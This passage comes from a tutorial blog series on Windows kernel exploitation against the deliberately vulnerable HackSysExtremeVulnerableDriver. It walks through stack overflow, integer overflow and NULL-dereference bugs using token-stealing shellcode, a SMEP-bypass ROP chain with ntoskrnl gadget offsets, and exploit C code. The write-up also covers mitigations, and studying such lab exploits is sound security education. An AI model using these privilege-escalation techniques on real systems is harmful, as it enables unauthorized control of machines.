mov rdx, 4h                     ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 188h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp[rax + 180h], rdx            ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov rdx, [rax + 208h]           ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 208h], rdx            ; Replace target process nt!_EPROCESS.Token
                                ; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

GetToken ENDP
end

-Abatchy

[Kernel Exploitation] 3: Stack Buffer Overflow (Windows 7 x86/x64)

2 January 2018 at 10:00

The HackSysExtremeVulnerableDriver by HackSysTeam always interested me and I got positive feedback on writing about it, so here we are.

Exploit code can be found here.


1. Understanding the vulnerability

Link to code here.

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

TriggerStackOverflow is called via StackOverflowIoctlHandler, which is the IOCTL handler for HACKSYS_EVD_IOCTL_STACK_OVERFLOW.

Vulnerability is fairly obvious, a user supplied buffer is copied into a kernel buffer of size 2048 bytes (512 * sizeof(ULONG)). No boundary check is being made, so this is a classic stack smashing vulnerability.

2. Triggering the crash

#include <Windows.h>
#include <stdio.h>

// IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main()
{
	// 1. Create handle to driver
	HANDLE device = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);

	printf("[+] Opened handle to device: 0x%x\n", device);

	// 2. Allocate memory to construct buffer for device
	char* uBuffer = (char*)VirtualAlloc(
		NULL,
		2200,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);

	printf("[+] User buffer allocated: 0x%x\n", uBuffer);

	RtlFillMemory(uBuffer, 2200 , 'A');
	
	DWORD bytesRet;
	// 3. Send IOCTL
	DeviceIoControl(
		device,
		HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
		uBuffer,
		2200,
		NULL,
		0,
		&bytesRet,
		NULL
	);
}

Now compile this code and copy it over to the VM. Make sure a WinDBG session is active and run the executable from a shell. Machine should freeze and WinDBG should (okay, maybe will) flicker on your debugging machine.

HEVD shows you debugging info with verbose debugging enabled:

****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x000D0000
[+] UserBuffer Size: 0x1068
[+] KernelBuffer: 0xA271827C
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow

Enter k to show the stack trace, you should see something similar to this:

kd> k
 # ChildEBP RetAddr  
00 8c812d0c 8292fce7 nt!RtlpBreakWithStatusInstruction
01 8c812d5c 829307e5 nt!KiBugCheckDebugBreak+0x1c
02 8c813120 828de3c1 nt!KeBugCheck2+0x68b
03 8c8131a0 82890be8 nt!MmAccessFault+0x104
04 8c8131a0 82888ff3 nt!KiTrap0E+0xdc
05 8c813234 93f666be nt!memcpy+0x33
06 8c813a98 41414141 HEVD!TriggerStackOverflow+0x94 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 92] 
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 8c813aa4 41414141 0x41414141
08 8c813aa8 41414141 0x41414141
09 8c813aac 41414141 0x41414141
0a 8c813ab0 41414141 0x41414141
0b 8c813ab4 41414141 0x41414141

If you continue execution, 0x41414141 will be popped into EIP. That wasn’t so complicated :)


3. Controlling execution flow

Exploitation is straightforward with a token-stealing payload described in part 2. The payload will be constructed in user-mode and its address passed as the return address. When the function exists, execution is redirected to the user-mode buffer. This is called a privilege escalation exploit as you’re executing code with higher privileges than you’re supposed to have.

Since SMEP is not enabled on Windows 7, we can point jump to a payload in user-mode and get it executed with kernel privileges.

Now restart the vm .reboot and let’s put a breakpoint at function start and end. To know where the function returns, use uf and calculate the offset.

kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
   65 9176b62a push    80Ch
   65 9176b62f push    offset HEVD!__safe_se_handler_table+0xc8 (917691d8)
   65 9176b634 call    HEVD!__SEH_prolog4 (91768014)
   
   ...
   
  101 9176b6ed call    HEVD!__SEH_epilog4 (91768059)
  101 9176b6f2 ret     8
  
kd> ? 9176b6f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8

kd> bu HEVD!TriggerStackOverflow

kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> bl
     0 e Disable Clear  9176b62a     0001 (0001) HEVD!TriggerStackOverflow
     1 e Disable Clear  9176b6f2     0001 (0001) HEVD!TriggerStackOverflow+0xc8

Next, we need to locate RET’s offset:

  • At HEVD!TriggerStackOverflow+0x26, memset is called with the kernel buffer address stored at @eax. Step over till you reach that instruction.
  • @ebp + 4 points to the stored RET address. We can calculate the offset from the kernel buffer.
kd> ? (@ebp + 4) - @eax
Evaluate expression: 2076 = 0000081c

We now know that the return address is stored 2076 bytes away from the start of the kernel buffer!

The big question is, where should you go after payload is executed?


4. Cleanup

Let’s re-think what we’re doing. Overwriting the return address of the first function on the stack means this function’s remaining instructions won’t be reached. In our case, this function is StackOverflowIoctlHandler at offset 0x1e.

WinDBG_screenshot_2

Only two missing instructions need to be executed at the end of our payload:

9176b718 pop     ebp
9176b719 ret     8

We’re still missing something. This function expects a return value in @eax, anything other than 0 will be treated as a failure, so let’s fix that before we execute the prologue.

xor eax, eax                    ; Set NTSTATUS SUCCEESS

The full exploit can be found here. Explanation of payload here.

Exploit_screenshot_2


5. Porting the exploit to Windows 7 64-bit

Porting this one is straightforward:

  • Offset to kernel buffer becomes 2056 instead of 2076.

  • x64 compatible payload..

  • Addresses are 8 bytes long, required some modifications.

  • No additional relevant protection is enabled.

Exploit_screenshot_2

Full exploit here.


6. Recap

  • A user-supplied buffer is being copied to a kernel buffer without boundary check, resulting in a class stack smashing vulnerability.

  • Function return address is controllable and can be pointed to a user-mode buffer as SMEP is not enabled.

  • Payload has to exist in an R?X memory segment, otherwise DEP will block the attempt.

  • No exceptions can be ignored, which means we have to patch the execution path after payload is executed. In our case that consisted of 1) setting the return value to 0 in @eax and 2) execute the remaining instructions in StackOverflowIoctlHandler before returning.


That’s it! Part 4 will be exploiting this on Windows 10 with SMEP bypass!

- Abatchy

[Kernel Exploitation] 4: Stack Buffer Overflow (SMEP Bypass)

11 January 2018 at 00:00

Part 3 showed how exploitation is done for the stack buffer overflow vulnerability on a Windows 7 x86/x64 machine. This part will target Windows 10 x64, which has SMEP enabled by default on it.

Exploit code can be found here.

Windows build: 16299.15.amd64fre.rs3_release.170928-1534

ntoskrnl’s version: 10.0.16288.192


Instead of mouthfeeding you the problem, let’s run the x64 exploit on the Windows 10 machine and see what happens.

kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0xc8:
fffff801`7c4d5708 ret

kd> k
 # Child-SP          RetAddr           Call Site
00 ffffa308`83dfe798 00007ff6`8eff11d0 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101] 
01 ffffa308`83dfe7a0 ffffd50f`91a47110 0x00007ff6`8eff11d0
02 ffffa308`83dfe7a8 00000000`00000000 0xffffd50f`91a47110

Examining the instructions at 00007ff68eff11d0 verifies that it’s our payload. What would go wrong?

kd> t
00007ff6`8eff11d0 xor     rax,rax
kd> t
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000fc
                       (0x00007FF68EFF11D0,0x0000000037ADB025,0xFFFFA30883DFE610,0x0000000080000005)


A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Stop error 0x000000fc indicates a ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY issue which is caused by a hardware mitigation called SMEP (Supervisor Mode Execution Prevention).

Continueing execution results in this lovely screen…

smep_1

1. So what’s SMEP?

SMEP (Supervisor Mode Execution Prevention) is a hardware mitigation introducted by Intel (branded as “OS Guard”) that restricts executing code that lies in usermode to be executed with Ring-0 privileges, attempts result in a crash. This basically prevents EoP exploits that rely on executing a usermode payload from ever executing it.

The SMEP bit is bit 20 of the CR4 register, which Intel defines as:

CR4 — Contains a group of flags that enable several architectural extensions, and indicate operating system or executive support for specific processor capabilities. 

Setting this bit to 1 enables SMEP, while setting it to 0 disables it (duh).

You can read more about this in the Intel Developer’s Manual.

2. Bypassing SMEP

There are a few ways described in the reading material that allow you to bypass SMEP, I recommend reading them for better understanding. For this exploit we’ll use the first method described in j00ru’s blog:

  • Construct a ROP chain that reads the content of CR4, flips the 20th bit and writes the new value to CR4. With SMEP disabled, we can “safely” jump to our user-mode payload.

  • If reading and/or modifying the content is not possible, just popping a “working” value to CR4 register will work. While this is not exactly elegant or clean, it does the job.

Worth noting is that Hyperguard won’t allow modifying CR4 if you’re using a Hyper-V instance.

Virtualization-based security (VBS)

Virtualization-based security (VBS) enhancements provide another layer of protection against attempts to execute malicious code in the kernel. For example, Device Guard blocks code execution in a non-signed area in kernel memory, including kernel EoP code. Enhancements in Device Guard also protect key MSRs, control registers, and descriptor table registers. Unauthorized modifications of the CR4 control register bitfields, including the SMEP field, are blocked instantly.

Gadgets we’ll be using all exist in ntoskrnl.exe which we’re able to get its base address using EnumDrivers (some say it’s not reliable but I didn’t run into issues, but given its behaviour isn’t publicly documented you better cross your fingers) or by calling NtQuerySystemInformation (you’ll need to export it first), we’ll be using the first approach.

    LPVOID addresses[1000];
    DWORD needed;

    EnumDeviceDrivers(addresses, 1000, &needed);

    printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses[0]);

Okay, now that we have nt’s base address, we can rely on finding relative offsets to it for calculating the ROP chain’s gadgets.

I referred to ptsecurity’s post on finding the gadgets.

First gadget we need should allow us to pop a value into the cr4 registe. Once we find one, we’ll be able to figure out which register we need to control its content next.

kd> uf nt!KiConfigureDynamicProcessor

nt!KiConfigureDynamicProcessor:
fffff802`2cc36ba8 sub     rsp,28h
fffff802`2cc36bac call    nt!KiEnableXSave (fffff802`2cc2df48)
fffff802`2cc36bb1 add     rsp,28h
fffff802`2cc36bb5 ret

kd> uf fffff802`2cc2df48

nt!KiEnableXSave:
fffff802`2cc2df48 mov     rcx,cr4
fffff802`2cc2df4b test    qword ptr [nt!KeFeatureBits (fffff802`2cc0b118)],800000h

... snip ...

nt!KiEnableXSave+0x39b0:
fffff802`2cc318f8 btr     rcx,12h
fffff802`2cc318fd mov     cr4,rcx       // First gadget!
fffff802`2cc31900 ret

kd> ? fffff802`2cc318fd - nt

Evaluate expression: 4341861 = 00000000`00424065

Gadget #1 is mov cr4,rcx at nt + 0x424065!

Now we need a way to control rcx’s content, ptsecurity’s post mentions HvlEndSystemInterrupt as a good target:

kd> uf HvlEndSystemInterrupt

nt!HvlEndSystemInterrupt:
fffff802`cdb76b60 push    rcx
fffff802`cdb76b62 push    rax
fffff802`cdb76b63 push    rdx
fffff802`cdb76b64 mov     rdx,qword ptr gs:[6208h]
fffff802`cdb76b6d mov     ecx,40000070h
fffff802`cdb76b72 btr     dword ptr [rdx],0
fffff802`cdb76b76 jb      nt!HvlEndSystemInterrupt+0x1e (fffff802`cdb76b7e)  Branch

nt!HvlEndSystemInterrupt+0x18:
fffff802`cdb76b78 xor     eax,eax
fffff802`cdb76b7a mov     edx,eax
fffff802`cdb76b7c wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff802`cdb76b7e pop     rdx
fffff802`cdb76b7f pop     rax
fffff802`cdb76b80 pop     rcx       // Second gadget!
fffff802`cdb76b81 ret

kd> ? fffff802`cdb76b80 - nt
Evaluate expression: 1514368 = 00000000`00171b80

Gadget #2 is pop rcx at nt + 0x171b80!

ROP chain will be the following:

+------------------+
|pop rcx; ret      |	// nt + 0x424065
+------------------+
|value of rcx      |	// ? @cr4 & FFFFFFFF`FFEFFFFF
+------------------+
|mov cr4, rcx; ret |	// nt + 0x424065
+------------------+
|addr of payload   |	// Available from user-mode
+------------------+

It’s extremely important to notice that writing more than 8 bytes starting the RIP offset means the next stack frame gets corrupted. Returning to

3. Restoring execution flow

Let’s take one more look on the stack call BEFORE the memset call:

Breakpoint 1 hit
HEVD!TriggerStackOverflow:
fffff801`71025640 mov     qword ptr [rsp+8],rbx
kd> k
 # Child-SP          RetAddr           Call Site
00 ffff830f`5a53a798 fffff801`7102572a HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65] 
01 ffff830f`5a53a7a0 fffff801`710262a5 HEVD!StackOverflowIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 125] 
02 ffff830f`5a53a7d0 fffff801`714b02d9 HEVD!IrpDeviceIoCtlHandler+0x149 [c:\hacksysextremevulnerabledriver\driver\hacksysextremevulnerabledriver.c @ 229] 
03 ffff830f`5a53a800 fffff801`7190fefe nt!IofCallDriver+0x59
04 ffff830f`5a53a840 fffff801`7190f73c nt!IopSynchronousServiceTail+0x19e

Pitfall 1: returning to StackOverflowIoctlHandler+0x1a

Although adjusting the stack to return to this call works, a parameter on the stack (Irp’s address) gets overwritten thanks to the ROP chain and is not recoverable as far as I know. This results in an access violation later on.

Assembly at TriggerStackOverflow+0xbc:

fffff801`710256f4 lea     r11,[rsp+820h]
fffff801`710256fc mov     rbx,qword ptr [r11+10h]	// RBX should contain Irp's address, this is now overwritten to the new cr4 value

This results in rbx (previously holding Irp’s address for IrpDeviceIoCtlHandler call) to hold the new cr4 address and later on being accessed, results in a BSOD.

fffff801`f88d63e0 and     qword ptr [rbx+38h],0 ds:002b:00000000`000706b0=????????????????

Notice that rbx holds cr4’s new value. This instructions maps to

Irp->IoStatus.Information = 0;

in IrpDeviceIoCtlHandler.

So, returning to StackOverflowIoctlHandler+0x1a is not an option.

Pitfall 2: Returning to HEVD!IrpDeviceIoCtlHandler+0x149

Same issue as above, Irp’s address is corrupted and lost for good. Following instructions result in access violation.

Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;

You can make rbx point to some writable location but good luck having a valid Irp struct that passes the following call.

// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Another dead end.

Pitfall 3: More access violations

Now we go one more level up the stack, to nt!IofCallDriver+0x59. Jumping to this code DOES work but still, access violation in nt occurs.

It’s extremely important (and I mean it) to take note of all the registers how they behave when you make the IOCTL code in both a normal (non-exploiting) and exploitable call.

In our case, rdi and rsi registers are the offending ones. Unluckily for us, in x64, parameters are passed in registers and those two registers get populated in HEVD!TriggerStackOverflow.

fffff800`185756f4 lea     r11,[rsp+820h]
fffff800`185756fc mov     rbx,qword ptr [r11+10h]
fffff800`18575700 mov     rsi,qword ptr [r11+18h]       // Points to our first gadget
fffff800`18575704 mov     rsp,r11
fffff800`18575707 pop     rdi                           // Points to our corrupted buffer ("AAAAAAAA")
fffff800`18575708 ret

Now those two registers are both set to zero if you submit an input buffer that doesn’t result in a RET overwrite (you can check this by sending a small buffer and checking the registers contents before you return from TriggerStackOverflow). This is no longer the case when you mess up the stack.

Now sometime after hitting nt!IofCallDriver+0x59

kd> u @rip
nt!ObfDereferenceObject+0x5:
fffff800`152381c5 mov     qword ptr [rsp+10h],rsi
fffff800`152381ca push    rdi
fffff800`152381cb sub     rsp,30h
fffff800`152381cf cmp     dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
fffff800`152381d6 mov     rsi,rcx
fffff800`152381d9 jne     nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
fffff800`152381df or      rbx,0FFFFFFFFFFFFFFFFh
fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
kd> ? @rsi
Evaluate expression: -8795734228891 = fffff800`1562c065         // Address of mov cr4,rcx instead of 0
kd> ? @rdi
Evaluate expression: 4702111234474983745 = 41414141`41414141    // Some offset from our buffer instead of 0

Now that those registers are corrupted, we can just reset their expected value (zeroeing them out) sometime before this code is ever hit. A perfect place for this is after we execute our token stealing payload.

xor rsi, rsi
xor rdi, rdi

Last step would be adjusting the stack properly to point to nt!IofCallDriver+0x59’s stack frame by adding 0x40 to rsp.

Full exploit code can be found here.

4. Mitigation the vulnerability

Although this is a vanilla stack smashing vulnerability, it still happens all the time. Key ways to mitigate/avoid this vulnerability is:

  1. Sanitize the input, don’t trust the user data (or its size). Use upper/lower bounds.
  2. Use /GS to utilize stack cookies.

Or even better, don’t write a kernel driver unless you need to ;)

5. Recap

  • Bypassing SMEP might be intimidating at first, but a small ROP chain was able to make it a piece of cake.
  • Restoring execution flow was challenging due to access violations. Every stack frame had its own challenges.
  • Keeping an eye on registers is crucial. Note which registers get affected by your exploit and try to repair them if possible.
  • Offsets change quite often, there’s a good chance this exploit will break with the next update.

5. References

Whew, done.


- Abatchy

[Kernel Exploitation] 5: Integer Overflow

13 January 2018 at 00:00

This part shows how to exploit a vanilla integer overflow vulnerability. Post builds up on lots of contents from part 3 & 4 so this is a pretty short one.

Exploit code can be found here.


1. The vulnerability

Link to code here.

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    ULONG Count = 0;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG BufferTerminator = 0xBAD0B0B0;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
    SIZE_T TerminatorSize = sizeof(BufferTerminator);

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is not doing any arithmetic
        // on the user supplied value. Instead, the developer is subtracting the size of
        // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
        // not occur and this check will not fail
        if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#else
        DbgPrint("[+] Triggering Integer Overflow\n");

        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
        // integer will wrap down and will finally cause this check to fail
        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#endif

        // Perform the copy operation
        while (Count < (Size / sizeof(ULONG))) {
            if (*(PULONG)UserBuffer != BufferTerminator) {
                KernelBuffer[Count] = *(PULONG)UserBuffer;
                UserBuffer = (PULONG)UserBuffer + 1;
                Count++;
            }
            else {
                break;
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Like the comment says, this is a vanilla integer overflow vuln caused by the programmer not considering a very large buffer size being passed to the driver. Any size from 0xfffffffc to ``0xffffffff` will cause this check to be bypassed. Notice that the copy operation terminates if the terminator value is encountered (has to be 4-bytes aligned though), so we don’t need to submit a buffer length of size equal to the one we pass.

Exploitability on 64-bit

The InBufferSize parameter passed to DeviceIoControl is a DWORD, meaning it’s always of size 4 bytes. In the 64-bit driver, the following code does the comparison:

At HEVD!TriggerIntegerOverflow+97:

fffff800`bb1c5ac7 lea     r11,[r12+4]
fffff800`bb1c5acc cmp     r11,r13

Comparison is done with 64-bit registers (no prefix/suffix was used to cast them to their 32-bit representation). This way, r11 will never overflow as it’ll be just set to 0x100000003, meaning that this vulnerability is not exploitable on 64-bit machines.

Update: I didn’t realize it at first, but the reason those values are treated fine in x64 arch is that all of them are of size_t.


2. Controlling execution flow

First, we need to figure out the offset for EIP. Sending a small buffer and calculating the offset between the kernel buffer address and the return address will do:

kd> g
[+] UserBuffer: 0x00060000
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x8ACF8274
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 3 hit
HEVD!TriggerIntegerOverflow+0x84:
93f8ca58 add     esp,24h

kd> ? 0x8ACF8274 - @esp
Evaluate expression: 16 = 00000010
kd> ? (@ebp + 4) - 0x8ACF8274
Evaluate expression: 2088 = 828

Notice that you need to have the terminator value 4-bytes aligned as otherwise it will use the submitted Size parameter which will ultimately result in reading beyond the buffer and possibly causing an access violation.

Now we know that RET is at offset 2088. The terminator value should be at 2088 + 4.

char* uBuffer = (char*)VirtualAlloc(
	NULL,
	2088 + 4 + 4,               // EIP offset + 4 bytes for EIP + 4 bytes for terminator
	MEM_COMMIT | MEM_RESERVE,
	PAGE_EXECUTE_READWRITE);

// Constructing buffer
RtlFillMemory(uBuffer, SIZE, 'A');

// Overwriting EIP
DWORD* payload_address = (DWORD*)(uBuffer + SIZE - 8);
*payload_address = (DWORD)&StealToken;

// Copying terminator value
RtlCopyMemory(uBuffer + SIZE - 4, terminator, 4);

That’s pretty much it! At the end of the payload (StealToken) you need to make up for the missing stack frame by calling the remaining instructions (explained in detail in part 3).

pop ebp								; Restore saved EBP
ret 8								; Return cleanly

shell

Full exploit can be found here.

3. Mitigating the vulnerability

  1. Handle all code paths that deal with arithmetics with extreme care (especially when they’re user-supplied). Check operants/result for overflow/underflow condition.

  2. Use an integer type that will be able to hold all possible outputs of the addition, although this might not be always possible.

SafeInt is worth checking out too.

4. Recap

  1. Vulnerability was not exploitable on 64-bit systems due to the way the comparison takes place between two 64-bit registers and the maximum value passed to DeviceIoControl will never overflow.

  2. Submitted buffer had to contain a 4-byte terminator value. This is the simplest form of crafting a payload that needs to meet certain criteria.

  3. Although our buffer wasn’t of extreme size, “lying” about its length to the driver was possible.


- Abatchy

[Kernel Exploitation] 6: NULL pointer dereference

17 January 2018 at 00:00

Exploit code can be found here.


0. Kernel-mode heaps (aka pools)

Heaps are dynamically allocated memory regions, unlike the stack which is statically allocated and is of a defined size.

Heaps allocated for kernel-mode components are called pools and are divided into two main types:

  1. Non-paged pool: These are guaranteed to reside in the RAM at all time, and are mostly used to store data that may get accessed in case of a hardware interrupt (at that point, the system can’t handle page faults). Allocating such memory can be done through the driver routine ExAllocatePoolWithTag.

  2. Paged pool: This memory allocation can be paged in and out the paging file, normally on the root installation of Windows (Ex: C:\pagefile.sys).

Allocating such memory can be done through the driver routine ExAllocatePoolWithTag and specifying the poolType and a 4 byte “tag”.

To monitor pool allocations you can use poolmon.

If you want to know more about this topic, I strongly recommend reading “Pushing the Limits of Windows: Paged and Nonpaged Pool” post and (the entire series too!).


1. The vulnerability

Link to code here.

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));

        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);

        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Non-paged pool memory is allocated of size NULL_POINTER_DEREFERENCE with 4-bytes tag of value kcaH. NULL_POINTER_DEREFERENCEstruct contains two fields:

    typedef struct _NULL_POINTER_DEREFERENCE {
        ULONG Value;
        FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

The size of this struct is 8 bytes on x86 and contains a function pointer. If the user-supplied buffer contains MagicValue, the function pointer NullPointerDereference->Callback will point to NullPointerDereferenceObjectCallback. But what happens if we don’t submit that value?

In that case, the pool memory gets freed and NullPointerDereference is set to NULL to avoid a dangling pointer. But this is only as good as validation goes, so everytime you use that pointer you need to check if it’s NULL, just setting it to NULL and not performing proper validation could be disastrous, like in this example. In our case, the Callback is called without validating if this inside a valid struct, and it ends up reading from the NULL page (first 64K bytes) which resides in usermode.

In this case, NullPointerDereference is just a struct at 0x00000000 and NullPointerDereference->Callback() calls whatever is at address 0x00000004. How are we going to exploit this?

The exploit will do the following:

  1. Allocate the NULL page.
  2. Put the address of the payload at 0x4.
  3. Trigger the NULL page dereferencing through the driver IOCTL.

Brief history on mitigation effort for NULL page dereference vulnerabilities

Before we continue, let’s discuss the efforts done in Windows to prevent attacks on NULL pointer dereference vulnerabilities.

  • EMET (Enhanced Mitigation Experience Toolkit), a security tool packed with exploit mitigations offered protection against NULL page dereference attacks by simply allocating the NULL page and marking it as “NOACCESS”. EMET is now deprecated and some parts of it are integrated into Windows 10, called Exploit Protection.

  • Starting Windows 8, allocating the first 64K bytes is prohibited. The only exception is by enabling NTVDM but this has been disabled by default.

Bottom line: vulnerability is not exploitable on our Windows 10 VM. If you really want to exploit it, enable NTVDM, then you’ll have to bypass SMEP (part 4 discussed this).

Recommended reads:


2. Allocating the NULL page

Before we talk with the driver, we need to allocate our NULL page and put the address of the payload at 0x4. Allocating the NULL page through VirtualAllocEx is not possible, instead, we can resolve the address of NtAllocateVirtualMemory in ntdll.dll and pass a small non-zero base address which gets rounded down to NULL.

To resolve the address of the function, we’ll use GetModuleHandle to get the address of ntdll.dll then GetProcAddress to get the process address.

typedef NTSTATUS(WINAPI *ptrNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
	);

